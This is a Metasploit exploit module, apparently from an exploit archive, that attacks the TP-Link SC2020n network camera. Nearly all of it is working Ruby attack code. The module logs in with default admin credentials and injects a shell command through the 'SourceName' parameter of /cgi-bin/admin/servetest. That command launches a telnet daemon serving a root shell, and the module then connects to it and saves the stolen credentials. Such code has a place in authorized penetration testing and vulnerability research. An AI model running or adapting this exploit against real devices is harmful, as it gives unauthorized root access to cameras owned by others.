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TP-Link SC2020n Authenticated Telnet Injection

Posted on 16 May 2016

##
## This module requires Metasploit: http://metasploit.com/download
## Current source: https://github.com/rapid7/metasploit-framework
###

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote

include Msf::Exploit::Remote::Telnet
include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'TP-Link SC2020n Authenticated Telnet Injection',
'Description' => %q{
The TP-Link SC2020n Network Video Camera is vulnerable
to OS Command Injection via the web interface. By firing up the telnet daemon,
it is possible to gain root on the device. The vulnerability
exists at /cgi-bin/admin/servetest, which is accessible with credentials.
},
'Author' =>
[
'Nicholas Starke <nick@alephvoid.com>'
],
'License' => MSF_LICENSE,
'DisclosureDate' => 'Dec 20 2015',
'Privileged' => true,
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Payload' =>
{
'Compat' => {
'PayloadType' => 'cmd_interact',
'ConnectionType' => 'find',
},
},
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/interact' },
'Targets' =>
[
[ 'Automatic', { } ],
],
'DefaultTarget' => 0
))

register_options(
[
OptString.new('USERNAME', [ true, 'User to login with', 'admin']),
OptString.new('PASSWORD', [ true, 'Password to login with', 'admin'])
], self.class)

register_advanced_options(
[
OptInt.new('TelnetTimeout', [ true, 'The number of seconds to wait for a reply from a Telnet Command', 10]),
OptInt.new('TelnetBannerTimeout', [ true, 'The number of seconds to wait for the initial banner', 25])
], self.class)
end

def telnet_timeout
(datastore['TelnetTimeout'] || 10).to_i
end

def banner_timeout
(datastore['TelnetBannerTimeout'] || 25).to_i
end

def exploit
print_status('Exploiting')
user = datastore['USERNAME']
pass = datastore['PASSWORD']
test_login(user, pass)
exploit_telnet
end

def test_login(user, pass)
print_status("Trying to login with #{user} : #{pass}")
begin
res = send_request_cgi({
'uri' => '/',
'method' => 'GET',
'authorization' => basic_auth(user, pass)
})

if res.nil?
fail_with(Failure::Unknown, "Could not connect to web service - no response")
end

if (res.code != 200)
fail_with(Failure::Unknown, "Could not connect to web service - invalid credentials (response code: #{res.code}")
else
print_good("Successful login #{user} : #{pass}")
save_cred(user, pass)
end
rescue ::Rex::ConnectionError
fail_with(Failure::Unknown, "Could not connect to the web service")
end
end

def exploit_telnet
telnet_port = rand(32767) + 32768

print_status("Telnet Port: #{telnet_port}")

cmd = "telnetd -p #{telnet_port} -l/bin/sh"

telnet_request(cmd)

print_status("Trying to establish telnet connection...")
ctx = { 'Msf' => framework, 'MsfExploit' => self }
sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => telnet_port, 'Context' => ctx, 'Timeout' => telnet_timeout })

begin
if sock.nil?
fail_with(Failure::Unreachable, "Backdoor service unreachable")
end

add_socket(sock)

print_status("Trying to establish a telnet session...")
prompt = negotiate_telnet(sock)

if prompt.nil?
sock.close
fail_with(Failure::Unknown, "Unable to establish a telnet session")
else
print_good("Telnet session successfully established")
end

handler(sock)
rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e
sock.close if sock
fail_with(Failure::Unknown, e.message)
end
end

def telnet_request(cmd)

uri = '/cgi-bin/admin/servetest'

begin
res = send_request_cgi({
'uri' => uri,
'method' => 'GET',
'vars_get' => {
'cmd' => 'ftp',
'ServerName' => 'test',
'userName' => 'test',
'Password' => 'test',
'Passive' => 'off',
'SourceName' => "/var/ftptest;#{cmd};#",
'TargetName' => 'testfile'
}
})
return res
rescue ::Rex::ConnectionError
fail_with(Failure::Unreachable, "Could not connect to the web service")
end
end

def negotiate_telnet(sock)
begin
Timeout.timeout(banner_timeout) do
while(true)
data = sock.get_once(-1, telnet_timeout)
return nil if not data or data.length == 0
if data =~ /#/
return true
end
end
end
rescue ::Timeout::Error
return nil
end
end

def save_cred(username, password)
service_data = {
address: rhost,
port: rport,
service_name: 'telnet',
protocol: 'tcp',
workspace_id: myworkspace_id
}

credential_data = {
module_fullname: self.fullname,
origin_type: :service,
username: username,
private_data: password,
private_type: :password
}.merge(service_data)

credential_core = create_credential(credential_data)

login_data = {
core: credential_core,
last_attempted_at: DateTime.now,
status: Metasploit::Model::Login::Status::SUCCESSFUL
}.merge(service_data)

create_credential_login(login_data)
end
end

 

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